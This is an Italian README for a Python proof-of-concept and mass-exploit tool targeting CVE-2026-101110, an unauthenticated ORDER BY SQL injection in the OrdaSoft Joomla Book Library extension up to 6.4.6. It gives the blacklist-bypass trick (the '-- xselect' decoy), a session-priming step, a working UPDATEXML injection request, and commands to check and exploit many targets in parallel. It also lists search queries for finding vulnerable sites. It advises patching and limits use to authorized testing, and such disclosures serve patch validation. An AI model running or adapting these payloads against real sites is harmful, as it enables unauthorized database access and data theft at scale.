
PoC in Python 3 ed exploit di massa per CVE-2026-101110, un'iniezione SQL ORDER BY non autenticata in OrdaSoft Joomla Book Library <=6.4.6 tramite i parametri field/direction.
PoC in Python 3 per CVE-2026-101110 — OrdaSoft Book Library (Free) per Joomla ≤ 6.4.6. Aggiornare a 6.4.7+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| Catalogo | https://pocbit.org/pocs/ |
| Componente | com_booklibrary |
| File / funzione | site/booklibrary.php → books() |
| Parametri | field, direction (ordinamento) |
| Autenticazione | Nessuna (elenchi libri pubblici) |
| CWE | CWE-89 SQL Injection |
| CVSS 4.0 | 9.3 Critico (Joomla CNA) |
| Crediti | Ala Arfaoui |
Book Library (Free) è un'estensione OrdaSoft che fornisce librerie di libri / elenchi di categorie in Joomla. Nelle versioni 6.4.6 e precedenti, la funzione books() filtra i parametri field e direction con protectInjectionWithoutQuote(). Questa funzione applica solo una debole blacklist che cerca la sottostringa select; quando la trova, racchiude il valore con $db->quote() invece di rifiutarlo.
I valori vengono poi concatenati in un'espressione ORDER BY senza apici — dove l'uso delle quote non ferma l'iniezione SQL (descrizione CNA).
Due condizioni per l'exploit:
field / direction) memorizzati nella sessione. -- xselect; supera il controllo della blacklist, e il commento SQL non influisce sul resto del payload.Risultato: SQLi in ORDER BY senza autenticazione, con rischio critico per la lettura/scrittura del database e l'integrità del sito.
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
Filtro debole (concettuale):
select (sottostringa) → racchiude l'intero valore tra apici (irrilevante nel contesto ORDER BY).-- xselect in modo che la blacklist veda select all'interno della coda del commento, mentre l'espressione attiva prima di -- rimane SQL eseguibile (trucchi error-based / UPDATEXML / stacked ORDER BY).Il PoC implementa:
| Fase | Azione |
|---|---|
| Fingerprint | percorsi com_booklibrary + versione opzionale dal manifest |
| Route discovery | showCategory, search, showBooks, books, … + catid / Itemid estratti |
| check | Prime della sessione → conferma SQLi (flag / VERSION()) |
| exploit | Prime → estrazione --subquery (predefinito SELECT VERSION()) |
| mass | --list + -j target paralleli; exploited.txt in caso di leak riuscito |
Suffisso del payload costante nel codice: -- xselect (BLACKLIST_DECOY).
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Flag | Significato |
|---|---|
--aggressive | La modalità check tenta il leak della versione dopo il prime |
--subquery | Espressione interna per payload UPDATEXML / double-query |
--exploited-list | Estrazioni riuscite separate da tab |
--no-color | Disabilita ANSI (anche NO_COLOR) |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, component, session_primed.
Prime (sessione):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
Inject (il PoC aggiunge il decoy):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
Le varianti POST vengono tentate sulla stessa route quando GET fallisce.
Manifest (se esposto):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → riga vulnerabile; ≥ 6.4.7 → corretta (patched_version nell'output del check).
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | Estensione | Problema | Corretto |
|---|---|---|---|
| CVE-2026-101110 | Book Library | ORDER BY SQLi + bypass blacklist | 6.4.7 |
| CVE-2026-101111 | Book Library | XSS riflesso (parametro title) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | ORDER BY SQLi | 6.7.9 |
Applicare la patch a tutti i componenti OrdaSoft che si distribuiscono.
com_booklibrary nei task search/lend (CVE-2010-1522) — percorsi di codice diversiSolo test autorizzati e validazione delle patch.
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110